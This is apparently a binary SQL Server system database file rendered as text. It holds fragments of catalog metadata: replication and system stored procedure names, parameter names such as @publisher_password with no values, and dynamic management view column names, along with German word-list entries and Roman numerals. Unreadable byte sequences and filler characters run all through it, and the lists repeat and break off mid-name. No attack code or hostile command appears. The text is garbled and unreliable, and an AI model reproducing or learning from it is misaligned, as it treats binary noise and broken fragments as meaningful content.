K,sp_MSarticlecol&z4sp_IHaddpublication&a).sp_IHhelparticle&<2sp_IHarticlecolumn&.sp_IHarticleview&ۿ6sp_IHhelppublication&'74sp_helpsubscription&4sp_MSaddexecarticle&`5;8sp_MSaddschemaarticle&",sp_IHaddarticle&0sp_IHsyncmetadata&b2sp_IHflushmetadata&6b>sp_MSchangeschemaarticle&w.sp_IHdroparticle&&H6sp_IHdroppublication&cf:sp_MSactivate_auto_sub& gJsp_MSarticle_synctran_commands&6sp_MSaddpub_snapshot&>sp_MSareallcolpkcomputed&M<sp_MSarticle_validation&˂Hsp_marksubscriptionvalidation&)X8sp_ivindexhasnullcols&4fsp_MSactivateprocedureexecutionarticleobject&ieHRsp_MSactivatelogbasedarticleobject&d4sp_helptracertokens&:K@sp_helptracertokenhistory&8sp_IHadd_sync_command&2<sp_IHgetPublicationInfo&l8sp_IHgetPublisherInfo&:8sp_IHCheckSourceTable&|.sp_IHVerifyIndex&*8sp_IHVerifyConstraint&U*sp_IHreplflush&RL8sp_IHreplincrementlsn&fH@<sp_IHarticle_validation&%5Dsp_IHpublication_validation&z
0sp_helpxactsetjob&f68sp_IH_LR_GetCacheData&Dsp_IHget_loopback_detectionD`Bf.4pTf:pXL.0<	`
;e"|^L9&8$sp_helpuser&B*sp_indexoption&:sp_MS_marksystemobject&8sp_invalidate_textptr&^sp_lock&P"sp_monitor&c/rsp_kill_filestream_non_transacted_handles_internal&IC`sp_kill_filestream_non_transacted_handles&s*sp_hexadecimal&zFsp_migrate_user_to_contained&j+Fsp_http_generate_wsdl_simple&*RHsp_http_generate_wsdl_complex&	zfsp_http_generate_wsdl_defaultcomplexorsimple&fsp_http_generate_wsdl_defaultsimpleorcomplex&.sp_linkedservers&F"sp_indexes&.0sp_indexes_rowset&U6sp_indexes_90_rowset&2sp_indexes_rowset2&=[8sp_indexes_90_rowset2&?dE8sp_indexes_100_rowset&ȯ:sp_indexes_100_rowset2&s>8sp_indexes_rowset_rmt&j>sp_indexes_90_rowset_rmt&9mL<sp_linkedservers_rowset&~>sp_linkedservers_rowset2&!(2sp_indexes_managed&<sp_indexcolumns_managed&(E$sp_instdist&3 Lsp_MS_marksystemobjectwitherror&;\sp_MSacquiresnapshotdeliverysessionlock&h$Dsp_MSacquireHeadofQueueLock&c6sp_MSacquireSlotLock&Pfsp_MSacquireserverresourcefordynamicsnapshot&5p8sp_isarticlecolbitset&;Dsp_MS_replication_installed&"A4sp_link_publication&<Fsp_mergesubscription_cleanup&H!0sp_mapdown_bitmap&{S2sp_IHdroppublisher&0sp_IHaddpublisher&`Dsp_mergesubscriptionsummary&>sp_IHCheckPublisherLogin&&,sp_IHgetversion&.sp_IHgetprovider&m"sp_IHquery&_M2sp_IHexecresultset&4sp_IHisallreplcolpk&T<sp_IHisarticlecolbitset&,W.sp_IHget_colinfo&|FLsp_identitycolumnforreplication&z4sp_IHaddpublication&a).sp_IHhelparticle&<2sp_IHarticlecolumn&.sp_IHarticleview&ۿ6sp_IHhelppublication&",sp_IHaddarticle&0sp_IHsyncmetadata&b2sp_IHflushmetadata&w.sp_IHdroparticle&&H6sp_IHdroppublication&cf:sp_MSactivate_auto_sub&˂Hsp_marksubscriptionvalidation&)X8sp_ivindexhasnullcols&ieHRsp_MSactivatelogbasedarticleobject&8sp_IHadd_sync_command&2<sp_IHgetPublicationInfo&l8sp_IHgetPublisherInfo&:8sp_IHCheckSourceTable&|.sp_IHVerifyIndex&*8sp_IHVerifyConstraint&U*sp_IHreplflush&RL8sp_IHreplincrementlsn&fH@<sp_IHarticle_validation&%5Dsp_IHpublication_validation&jqLsp_IHmarksubscriptionvalidation&7o/2sp_IHScriptIdxFile&82sp_IHScriptSchFile&&.sp_IHscripttable&2sp_IHscriptindexes&8sp_IHscriptprimarykey&\<sp_IHscriptupdateparams&CM>sp_IHscriptpkwhereclause&xDsp_IHscriptreconwhereclause&"Hsp_IHscript_missing_row_check&Z,sp_IHXactSetJob&z
0sp_helpxactsetjob&:sp_IHValidateRowFilter&f68sp_IH_LR_GetCacheData&Dsp_IHget_loopback_detection&C>]@sp_log_repository_message&AHsp_logshippinginstallmetadata&%B\sp_is_trace_flag_to_bypass_proc_gen_set&0sDsp_is_makegeneration_needed&Nsp_mergemetadataretentioncleanup&K<sp_lookupcustomresolver&8sp_mergearticlecolumn&<sp_mergecleanupmetadata&4sp_mergedummyupdate&nBsp_markpendingschemachange&6udsp_lightweightmergemetadataretentioncleanupr&m"sp_IHquery&_M2sp_IHexecresultset&4sp_IHisallreplcolpk&T<sp_IHisarticlecolbitset&,W.sp_IHget_colinfo&|FLsp_identitycolumnforreplication&+Jsp_MSaddautonosyncsubscription&]8sp_MSarticlecolstatus&~	K,sp_MSarticlecol&z4sp_IHaddpublication&a).sp_IHhelparticle&<2sp_IHarticlecolumn&.sp_IHarticleview&ۿ6sp_IHhelppublication&4sp_MSaddexecarticle&`5;8sp_MSaddschemaarticle&",sp_IHaddarticle&0sp_IHsyncmetadata&b2sp_IHflushmetadata&6b>sp_MSchangeschemaarticle&w.sp_IHdroparticle&&H6sp_IHdroppublication&cf:sp_MSactivate_auto_sub& gJsp_MSarticle_synctran_commands&6sp_MSaddpub_snapshot&>sp_MSareallcolpkcomputed&M<sp_MSarticle_validation&˂Hsp_marksubscriptionvalidation&)X8sp_ivindexhasnullcols&4fsp_MSactivateprocedureexecutionarticleobject&ieHRsp_MSactivatelogbasedarticleobject&8sp_IHadd_sync_command&2<sp_IHgetPublicationInfo&l8sp_IH"Z0<Z
F	l\	0 >	V^BJ|zR(@\

j8`x
ZNl
f
v
	

b
	80
.>.0`
U_nHH0
$0
10
20
30
40
50
60
70
80
90
00
$0
10
20
30
40
50
60
70
80
90
00
00
10
20
30
40
50
60
70
80
90
I0
'ne0
10
'nem0
20
'nen0
30
'ner0
40
"Billion0
50
&Billionen0
60
II0
70
III0
80
IV0
90
Ihr0
00
Ihre0
$0
Ihrem0
Ihren0
Ihrer0
Ihres0
.Ihresgleichen0
 Ihrige0
"Ihrigen0
Ihrs0
&Milliarde0
(Milliarden0
"Million0
&Millionen0
"Punktum0
	10
	20
	30
	40
	50
	60
	70
	80
	90
	00
	$0
	10
	20
	30
	40
	50
	60
	70
	80
	90
	00
	$0
	A0
	B0
	C0
	D0
	E0
	F0
	G0
	H0
	I0
	J0
	K0
	L0
	M0
	N0
	O0
	P0
	Q0
	R0
	S0
	T0

C0

10

D0

20

I0

30

II0

40

III0

50

IV0

60

IX0

70

L0

80

M0

90

00

$0
II0
10
III0
20
IV0
30
40
50
60
70
80
90
00
$0
II0
10
III0
20
IV0
30
40
50
60
70
80
90
00
$0
$0
10
20
30
40
50
60
70
80
90
00
$0
10
20
30
40
50
60
70
80
90
00
'k0
'n0
's0
't0
II0
10
III0
20
IV0
30
40
50
60
70
80
90
00
$0
$0
10
20
30
40
50
60
70
80
90
00
I0
II0
III0
IV0
IX0
00
10
20
30
40
50
60
70
80
90
$0
00
10
20
30
40
50
60
70
80
90
I0
II0
III0
IV0
IX0
D.S.0
10
II0
20
III0
30
IV0
40
IX0
50
60
70
80
90
00
$0
10
20
30
40
50
60
70
80
90
00
$0
00
10
20
30
40
50
60
70
80
90
$0
II0
III0
IV0
IX0
L0
MXXXIV0
XXXIX0
XXXV0
XXXVI0
 XXXVII0
"XXXVIII0
II0
10
III0
20
IV0
30
VI0
40
VII0
50
VIII0
60
XI0
70
XII0
80
XIII0
90
XIV0
00
XIX0
$0
XV0
XVI0
XVII0
XVIII0
XX0
XXI0
XXII0
XXIII0
$0
10


t
^
H
2

b 
			F$|^,hb
:tRx4
xpb	 		l	V	 
@	
*	4	6&H@N6.r


2*8| \
t"f
F
|^Ptl0
zZfHr:^V
dPR2\$H@
N:$F2*8$
0j|
"p~
v<L
PZhL<VdLD
D.f6b`^lzpZ
HRj	-+')`D4͛0-sG@rolename0-88
Kpdw_node_id0-Mcounter_name0-Ucounter_category0-Oinstance_name0-jj&
Ocounter_value0-**Ulast_update_time0-W#00Ess_dtype0-W#00Kss_usertype0-W#88
Afixlen0-W#00CODBCVer0-W#GTYPE_NAME0-W#44GDATA_TYPE0-W#88
Qdata_precision0-W#44Onumeric_scale0-W#	44?RADIX0-W#
88
Alength0-W#  QLITERAL_PREFIX0-W#  QLITERAL_SUFFIX0-W#
44ENULLABLE0-W#44ISEARCHABLE0-W#44YUNSIGNED_ATTRIBUTE0-W#44?MONEY0-W#44QAUTO_INCREMENT0-W#SLOCAL_TYPE_NAME0-W#00Ccharbin0-W#44OSQL_DATA_TYPE0-W#44USQL_DATETIME_SUB0-c@snapshot_session_token0-e@snapshot_progress_token0-'G@database-!0-!88
;@id0-!?@type0-!88
=@tag0-1f/Y@nvarcharmaxscript0-
K@table_name0-O@base_colname0-S@unique_colname
I@datasize80-9{p O@datalogical90-9{p!Q@dataphysical90-9{p"88
I@datasize90-9{p#Q@datalogical100-9{p$S@dataphysical100-9{p%88
K@datasize100-9{p&Q@datalogical110-9{p'S@dataphysical110-9{p(88
K@datasize110-9{p)Q@datalogical120-9{p*S@dataphysical120-9{p+88
K@datasize120-9{p,Q@datalogical130-9{p-S@dataphysical130-9{p.88
K@datasize130-9{p/Q@datalogical140-9{p0S@dataphysical140-9{p188
K@datasize140-9{p2Q@datalogical150-9{p3S@dataphysical150-9{p488
K@datasize150-9{p5Q@datalogical160-9{p6S@dataphysical160-9{p788
K@datasize160-#st88
Kdatabase_id0-#st44Cfile_id0-#st44Mfilegroup_id0-#stUtotal_page_count0-#stkallocated_extent_page_count0-#stounallocated_extent_page_count0-#stwversion_store_reserved_page_count0-#stsuser_object_reserved_page_count0-#st	{internal_object_reserved_page_count0-#st
cmixed_extent_page_count0-O@TextPtrValue0-op$$Egroup_id0-op4Sprimary_replica0-op88
econfigured_replica_count0-op88
Ylocal_replica_role0-$$Egroup_id0-H4HKlistener_id0-~4~Edns_name0-88
=port0-hhOis_conformant0-@4@}ip_configuration_string_from_cluster0-88
Kdatabase_id0-88
Equeue_id0-@4@?state0-==alast_empty_rowset_time0-==[last_activated_time0-88
Otasks_waiting0-{88
=spid0-{44Kdatabase_id0-{88
Equeue_id0-{4Qprocedure_name0-{88
Iexecute_as0-88
Kpdw_node_id0-Mcounter_name0-Ucounter_category0-Oinstance_name0-jj&
Ocounter_valueax
Gby0Iz)XV

		7
d	2?`\-6)a3(0-hhois_xquery_max_length_inferred0-
hhCis_node0-00Qsystem_type_id0-00Muser_type_id0-44Imax_length0-00Gprecision0-00?scale0-Qcollation_name0-hhMis_singleton0-00Evalclass0-88
?objid0-88
Esubobjid0-88
Avalnum0-bbPP?value0-@Eimageval0-Mpartition_id0-Chobt_id0-88
Gcolumn_id0-88
Odictionary_id0-88
Cversion0-88
=type0-?flags0-88
Clast_id0-	Kentry_count0-
Mon_disk_size0-Mpartition_id0-Chobt_id0-88
Gcolumn_id0-88
Isegment_id0-88
Cversion0-88
Oencoding_type0-88
Grow_count0-hhGhas_nulls0-	Cbase_id0-
>>5Gmagnitude0-88
_primary_dictionary_id0-88
csecondary_dictionary_id0-
Kmin_data_id0-Kmax_data_id0-Inull_value0-Mon_disk_size0-88
Gobject_id0-88
Uparent_object_id0-88
Gobject_id0-hhIis_enabled0-Qdirectory_name0-88
_filename_collation_id0-cfilename_collation_name0-=name0-88
Gobject_id0-88
Mprincipal_id0-88
Gschema_id0-88
Uparent_object_id0-=type!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!z3b

O

j#B

5
		d		BkQ;f'b@c`-4)b&ߓ
0-$$[conversation_handle0-$$Sconversation_id0-hhMis_initiator0-88
[service_contract_id0-$$_conversation_group_id0-88
Iservice_id0-==Elifetime0-?state0-	xxIstate_desc0-
Kfar_service0-[far_broker_instance0-88
Mprincipal_id0-
88
Ufar_principal_id0-$$soutbound_session_key_identifier0-$$qinbound_session_key_identifier0-==Ysecurity_timestamp0-==Mdialog_timer0-Osend_sequence0-Wlast_send_tran_id0-[end_dialog_sequence0-Ureceive_sequence0-88
_receive_sequence_frag0-Ssystem_sequence0-kfirst_out_of_order_sequence0-ilast_out_of_order_sequence0-88
alast_out_of_order_frag0-hhGis_system0-00Epriority0-C88
A@tabid0-C88
A@artid0-CC@prefix0-CC@suffix0-C00?@mode0-C88
K@paramcount0-Chhe@skipindexesonudtcolumns0-I@publisher0-K@subscriber0-44K@agent_type0-88
S@frequency_type0-88
[@frequency_interval0-88
m@frequency_relative_interval0-88
m@frequency_recurrence_factor0-88
W@frequency_subday0-	88
i@frequency_subday_interval0-
88
g@active_start_time_of_day0-88
c@active_end_time_of_day0-88
Y@active_start_date0-
88
U@active_end_date0-qWI@publisher0-qWO@publisher_db0-qW
?@type0-oe@publisher_linked_servern0->K@length_max0->Q@precision_min0->Q@precision_max0->88
I@scale_min0->88
I@scale_max0->88
O@createparams0-K@subscriber0-44K@agent_type0-88
S@frequency_type0-88
[@frequency_interval0-88
m@frequency_relative_interval0-88
m@frequency_recurrence_factor0-88
W@frequency_subday0-88
i@frequency_subday_interval0-	88
g@active_start_time_of_day0-
88
c@active_end_time_of_day0-88
Y@active_start_date0-88
U@active_end_date0-
I@publisher-88
0-ULI@publisher0-ULS@packageversion0-&88
K@article_id0-&I@collation0-
r?I@publisher0-
r?C@schema0-
r?I@operation0-KI@publisher0-KM@publication0-KE@article0-KA@owner0-KI@tablename0-C88
A@tabid0-C88
A@artid0-CC@prefix0-CC@suffix0-C00?@mode0-C88
K@paramcount0-Chhe@skipindexesonudtcolumns0-o E@command0-o M@publication0-o hhE@execute0-o hhi@change_results_originator0-I@publisher0-K@subscriber
s.2/"
v'

K{$
J
Q3\X


H

		:	pSLWsv+^[`n-@E)]	c"rÞe0->h$$?ag_id0->h$$Eag_db_id0->h4Iag_db_name0->hQtruncation_lsn0-88
GOBJECT_ID0-OTABLE_CATALOG0-MTABLE_SCHEMA0-ITABLE_NAME0-KCOLUMN_NAME0-88
UORDINAL_POSITION0-@@QCOLUMN_DEFAULT0-KIS_NULLABLE0-	GDATA_TYPE0-
88
eCHARACTER_MAXIMUM_LENGTH0-88
aCHARACTER_OCTET_LENGTH0-00WNUMERIC_PRECISION0-
44cNUMERIC_PRECISION_RADIX0-88
ONUMERIC_SCALE0-44YDATETIME_PRECISION0-_CHARACTER_SET_CATALOG0-]CHARACTER_SET_SCHEMA0-YCHARACTER_SET_NAME0-WCOLLATION_CATALOG0-UCOLLATION_SCHEMA0-QCOLLATION_NAME0-QDOMAIN_CATALOG0-ODOMAIN_SCHEMA0-KDOMAIN_NAME0-hhGIS_SPARSE0-hhOIS_COLUMN_SET0-hhOIS_FILESTREAM0-ZiI@publisher0-I@publisher0-O@publisher_db0-M@publication0-(W@backupdevicetype0-W@backupdevicename0-Q@mediapassword0-G@password0-88
K@fileidhint0-hhC@unload0-W@backupservername0-S@backupdatabase0-	
E@lastlsn0-C@job_id0-W@dts_package_name0-_@dts_package_password0-_@dts_package_location0-K@originator0-Q@originator_db0-c@originator_publication0-88
i@originator_publication_id0-88
a@originator_db_version0-
S@originator_lsn0-88
[@originator_version0-88
Q@originator_id0-,.mM@publication0-,.mE@article0-,.mG@property0-,.mA@value0-,.mhhi@force_invalidate_snapshot0-,.mhhi@force_reinit_subscription0-$$A@pubid0-G@property0-A@value0-Ao88
A@objid0-Ao88
K@sync_objid0-AoE@colname0-Ao88
K@colordinalA@login0-?M88
I@hasaccess0-ZiI@publisher0-I@publisher0-O@publisher_db0-M@publication-hh0-I@win_login0-1hhE@subside0-(W@backupdevicetype0-W@backupdevicename0-Q@mediapassword0-G@password0-88
K@fileidhint0-hhC@unload0-W@backupservername0-S@backupdatabase0-	
E@lastlsn0-'7M@publication0-'7E@article0-'7K@subscriber0-'7S@destination_db0-'788
A@found0-'7I@publisher0-M@publication0-E@article0-88
A@objid0-00G@proctype0-hhK@fdodeclare0-C@job_id0-W@dts_package_name0-_@dts_package_passwordy0U
I!k(

u4

9
de		R		gjUJ-Ja~>b!H7
-`C-g)/d*Q\:0-H#K@configname0-H88
M@configvalue0-O@remoteserver0-G@loginame0-K@remotename0-Y_memory_object_address0-YQparent_address0-YQpages_in_bytes0-Y88
Ucreation_options0-YIbytes_used0-Yx4x=type0-Y4=name0-Y44Qmemory_node_id0-Y	==Ocreation_time0-Y
88
Ypage_size_in_bytes0-YYmax_pages_in_bytes0-Yapage_allocator_address0-Y
acreation_stack_address0-Y88
Msequence_num0-Y88
Kpdw_node_id0-dC@server0-dE@catalog0-dK@tbl_schema0-d?@name0-d44?@type0-dA@table0-d4OTABLE_CATALOG0-d4MTABLE_SCHEMA0-d4ITABLE_NAME0-d4OINDEX_CATALOG0-d4MINDEX_SCHEMA0-d4IINDEX_NAME0-dhhKPRIMARY_KEY0-dhhAUNIQUE0-d	hhGCLUSTERED0-d
44=TYPE0-d88
KFILL_FACTOR0-d88
MINITIAL_SIZE0-d
88
?NULLS0-dhhQSORT_BOOKMARKS0-dhhKAUTO_UPDATE0-d88
QNULL_COLLATION0-d88
UORDINAL_POSITION0-d4KCOLUMN_NAME0-d$$KCOLUMN_GUID0-d88
OCOLUMN_PROPID0-d44GCOLLATION0-d88
KCARDINALITY0-d88
?PAGES0-d@4@UFILTER_CONDITION0-88
I@data_type0-00E@ODBCVer0-d00?@mode0-dhhK@islocalpub0-d00O@securitymode0-dG@linkname0-dI@remserver0-dG@remlogin0-dM@rempassword0-t88
A@artid0-=8I@publisher0-=8O@publisher_db0-=8M@publication0-=888
G@agent_id0-C$$A@pubid0-C88
I@tablenick0-C88
W@check_permission0-C88
Y@rows_tobe_deleted0-C88
O@partition_id0-C$$G@rowguid10-C00S@metadata_type10-CM@generation10-C	7O@lineage_old10-C
7O@lineage_new10-C$$G@rowguid20-C00S@metadata_type20-C
M@generation20-C7O@lineage_old20-C7O@lineage_new20-C$$G@rowguid30-C00S@metadata_type30-CM@generation30-C7O@lineage_old30-C7O@lineage_new30-C$$G@rowguid40-C00S@metadata_type40-CM@generation40-C7O@lineage_old40-C7O@lineage_new40-C$$G@rowguid50-C00S@metadata_type50-CM@generation50-C7O@lineage_old50-C7O@lineage_new50-C$$G@rowguid60-C 00S@metadata_type60-C!M@generation60-C"7O@lineage_old60-C#7O@lineage_new60-C$$$G@rowguid70-C%00S@metadata_type70-C&M@generation70-C'7O@lineage_old77O@lg~/H]
t%>Sj{4I`g&q&O
n
#
}2U


E
		d		0l%Fw.CGSDCx/8`k	-^F)eL3;0-vYstatus_description0-v88
Sprevious_status0-v	kprevious_status_description0-v
88
Mworker_count0-v88
aactive_fts_index_count0-v88
_auto_population_count0-v
88
cmanual_population_count0-v88
wfull_incremental_population_count0-v88
arow_count_in_thousands0-vhhMis_importing0-P|Qtransaction_id0-P|88
Kdatabase_id0-P|==sdatabase_transaction_begin_time0-P|88
gdatabase_transaction_type0-P|88
idatabase_transaction_state0-P|88
kdatabase_transaction_status0-P|88
mdatabase_transaction_status20-P|database_transaction_log_record_count0-P|	88
database_transaction_replicate_record_count0-P|
{database_transaction_log_bytes_used0-P|database_transaction_log_bytes_reserved0-P|88
database_transaction_log_bytes_used_system0-P|
88
database_transaction_log_bytes_reserved_system0-P|ll

qdatabase_transaction_begin_lsn0-P|ll

odatabase_transaction_last_lsn0-P|ll

database_transaction_most_recent_savepoint_lsn0-P|ll

sdatabase_transaction_commit_lsn0-P|ll

database_transaction_last_rollback_lsn0-P|ll

ydatabase_transaction_next_undo_lsn0-M@publication0-88
S@frequency_type0-88
[@frequency_interval0-88
W@frequency_subday0-88
i@frequency_subday_interval0-88
m@frequency_relative_interval0-88
m@frequency_recurrence_factor0-88
Y@active_start_date0-	88
U@active_end_date0-
88
g@active_start_time_of_day0-88
c@active_end_time_of_day0-Y@snapshot_job_name0-
88
e@publisher_security_mode0-U@publisher_login0-[@publisher_password0-I@job_login0-O@job_password0-I@publisher0-S@publisher_type0-́K@subscriber0-́00?@type0-́A@login0-́G@password0-́88
Y@commit_batch_size0-́88
Y@status_batch_size0-́88
U@flush_frequency0-́88
S@frequency_type0-́	88
[@frequency_interval0-́
88
m@frequency_relative_interval0-́88
m@frequency_recurrence_factor0-́88
W@frequency_subday0-́
88
i@frequency_subday_interval0-́88
g@active_start_time_of_day0-́88
c@active_end_time_of_day0-́88
Y@active_start_date0-́88
U@active_end_date0-́M@description0-́88
Q@security_mode0-́I@publisher0-́S@publisher_type0-!z88
[@heartbeat_intervalg@active_start_time_of_day0-88
c@active_end_time_of_day0-Y@snapshot_job_name0-
88
e@publisher_security_mode0-U@publisher_login0-[@publisher_password0-I@job_login0-O@job_password0-I@publisher0-S@publisher_type0-́K@subscriber0-́00?@type0-́A@login0-́G@password0-́88
Y@co2K:j96=r>)mX~
c

JV
V
	T	HBV]^%w`-Q)uf
fL"0-88
Mprincipal_id0-88
Gschema_id0-88
Uparent_object_id0-=type0-xxGtype_desc0-==Kcreate_date0-	==Kmodify_date0-
hhOis_ms_shipped0-hhMis_published0-hh[is_schema_published0-
Edll_name0-_8C@dbname0-_8E@autofix0-S88
=type0-SGtype_name0-S88
Kparent_type0-FF=name0-88
Anumber0-=type0-88
;low0-88
=high0-88
0Astatus0-<W@procedure_schema0-<S@parameter_name0-M@publication0-I@publisher0-hhG@reserved0-.qI@publisher0-M@publication0-E@article0-K@subscriber0-S@destination_db0-hhY@for_schema_change0-M@distributor0-I@distribdb0-I@publisher0-	S@publisher_type0-
hhk@ignore_distributor_failure0-hh]@invalidate_snapshot-~K0-~K88
A@tabid0-~K88
A@colid0-~K00Q@publishertype0-~Khhm@userdefinedtypestobasetypes0-~KhhK@xmltontext0-~Khhq@maxtypestomatchingnonmaxtypes0-~KhhO@maptimestamp0-~Khhi@newdatetimetypestostrings0-~K	hhi@hierarchyidtovarbinarymax0-~K
hh}@largeuserdefinedtypestovarbinarymax0-R	M@publication0-R	K@subscriber0-R	Q@subscriber_db0-R	44g@subscriber_security_mode0-R	W@subscriber_login0-R	]@subscriber_password0-R	I@job_login0-R	O@job_password0-R		G@job_name0-R	
88
S@frequency_type0-R	88
[@frequency_interval0-R	88
m@frequency_relative_interval0-R	
88
m@frequency_recurrence_factor0-R	88
W@frequency_subday0-R	88
i@frequency_subday_interval0-R	88
g@active_start_time_of_day0-R	88
c@active_end_time_of_day0-R	88
Y@active_start_date0-R	88
U@active_end_date0-R	W@dts_package_name0-R	_@dts_package_password0-R	_@dts_package_location0-R	
]@enabled_for_syncmgr0-R	a@distribution_job_name0-R	I@publisher0-R	S@publisher_type0-R	]@subscriber_provider0-R	@[@subscriber_datasrc0-R	@]@subscriber_location0-R	@k@subscriber_provider_string0-R	[@subscriber_catalogr_password0-;I@job_login0-;O@job_password0-;	G@job_name0-;
88
S@frequency_type0-;88
[@frequency_interval0-;88
m@frequency_relative_interval0-;
88
m@frequency_recurrence_factor0-;88
W@frequency_subday0-;88
i@frequency_subday_interval0-;88
g@active_start_time_of_day0-;88
c@active_end_time_of_day0-;88
Y@active_start_date0-;88
U@active_end_date0-R	9
y
.
p/RG@+}Jk$/q `

Y

	j		:d'a)t3jZcI`-B)	g9`0-dC@dbname0-d
E@dropdev0-tG@rolename0-{88
Gobject_id0-{88
Eindex_id0-{Ophysical_name-m2{0-m2{88
I@object_id0-m2{M@publication0-m2{C@prefix0-$?@name0-$I@publisher0-$O@publisher_db0-$M@publication0-$88
e@publisher_security_mode0-$U@publisher_login0-$[@publisher_password0-$hho@publisher_encrypted_password0-$	K@subscriber0-$
Q@subscriber_db0-$88
g@subscriber_security_mode0-$W@subscriber_login0-$
]@subscriber_password0-$M@distributor0-$88
i@distributor_security_mode0-$Y@distributor_login0-$_@distributor_password0-$hh[@encrypted_password0-$88
S@frequency_type0-$88
[@frequency_interval0-$88
m@frequency_relative_interval0-$88
m@frequency_recurrence_factor0-$88
W@frequency_subday0-$88
i@frequency_subday_interval0-$88
g@active_start_time_of_day0-$88
c@active_end_time_of_day0-$88
Y@active_start_date0-$88
U@active_end_date0-$a@optional_command_line0-$M@merge_jobid0-$
]@enabled_for_syncmgr0-$ M@ftp_address0-$!88
G@ftp_port0-$"I@ftp_login0-$#O@ftp_password0-$$]@alt_snapshot_folder0-$%Y@working_directory0-$&
E@use_ftp0-$'G@reserved0-$(
g@use_interactive_resolver0-$)
O@offloadagent0-$*Q@offloadserver0-$+G@job_name0-$,i@dynamic_snapshot_location0-$-hhO@use_web_sync0-$.O@internet_url0-$/S@internet_login0-$0Y@internet_password0-$188
c@internet_security_mode0-$288
W@internet_timeout0-$3G@hostname0-$4I@job_login0-$5O@job_password0-!$$A@pubid0-&$$A@pubid0-&?@expr0-$
Q@subscriber_db0-$88
g@subscriber_security_mode0-$W@subscriber_login0-$
]@subscriber_password0-$M@distributor0-$88
i@distributor_security_mode0-$Y@distributor_login0-$_@distributor_password0-$hh[@encrypted_password0-$88
S@frequency_type0-$88
[@frequency_interval0-$88
m@frequency_relative_interval0-$88
m@frequency_recurrence_factor0-$88
W@frequency_subday0-$88
i@frequency_subday_interval0-$88
g@active_start_time_of_day0-$88
c@active_end_time_of_day0-$88
Y@active_start_date0-$88
U@active_end_date0-$a@optional_command_line0-$M@merge_jobid0-$
]@enabled_for_syncmgr0-$ M@ftp_address0-$!88
G@ftp_port0-$"I@ftp_login0-$#O@ftp_password0-$$]@alt_snapshot_folder		n	v0-w:w0v{,|+u.3T
]
N
W
		<	)sXM8SP;
v/`0HC"hG/L>O00FTF)ffn_listextendedproperty00V ··fall_extended_procedures00P "bsp_change_users_login00'P )jsp_updateextendedproperty00?P rhsp_attach_single_file_db00_8P s`sp_certify_removable00"V xldm_os_memory_broker_clerks00tyP E"[2dsp_dbmmonitordropalert006P #~2nsp_clean_db_file_free_space006!V -&-&dm_hadr_internal_availability_replica_states00SV 6.6tevent_notification_event_types00U O`OLspt_values00KV ~}}rdm_filestream_file_io_handles009P iӊ`sp_dropsrvrolemember00͚P v~sp_help_spatial_index_internal_auto00dV ydm_pdw_nodes_exec_query_memory_grants00֩V øndm_pdw_nodes_os_latch_stats00_qV 'Ftdm_pdw_nodes_os_loaded_modules00U v_dm_pdw_component_health_status00FhP Zsp_statistics_10000~P SThsp_linkedservers_rowset200<P f.fnsp_procedure_params_rowset200LP ޙxp_repl_convert_encrypt_sysadmin_wrapper001P |sp_MSmerge_gen_articlecolumnrowset00CBP \sp_MSscript_params00rP ;;Zsp_MSunc_to_drive00#ZjP 	hrsp_MSchangerepltablepasswords00|zP iisp_MSpullsubscriptionagentjobcontrol00+WP nnhsp_MSaddreplsymmetrickey00NJP Lsp_replica00P ^nsp_MSrepl_enumsubscriptions00.qP \sp_verifypublisher00?uP 	Nnsp_stoppublication_snapshot00g]P Ssp_MSrepl_subscriptionagentjobcontrol00/<RFNmZfn_varbintohexstr00DzP z
z
sp_MSrepl_scriptpublicationcustomprocs00
6P klNsp_replsync00(P =fsp_refreshsubscriptions00P 6A6A`sp_MSaddpub_snapshot00IP aPaP^sp_MSscript_endproc00tԇP Rjsp_MSscript_sync_ins_proc00xP qVbsp_reinitsubscription00P 
Wpsp_MSrepl_reinitsubscription00~KFN
XXfn_gettypestring00P Zsp_ORAdroparticle00mP lsp_MSgetpeertopeercommands00;P Vpsp_addpushsubscription_agent00R	P ~sp_MSrepl_addpushsubscription_agent00[,P kksp_MSrepl_get_Oracle_publisher_metadata00P 

sp_MSrepl_get_Oracle_publisher_table00&rP hsp_MSgetpeerconflictname00_P {Ydsp_MSadd_qreader_agent00FNCCvfn_replmerge_get_errormsgcounts00qAP IIxsp_MSdistributionagentjobcontrol001ZFN]]lfn_MSgetlogshippingjobname00DP 2dHysp_help_log_shipping_primary_secondary00&P hHysp_change_log_shipping_secondary_database00P jsp_cdc_restoredb_internal00"P Tsp_showlineage006jFNffn_MSmerge_islocalpubid00ؽP lsp_MSdropmergepub_snapshot00yP jsp_changemergelogsettings00dWP 

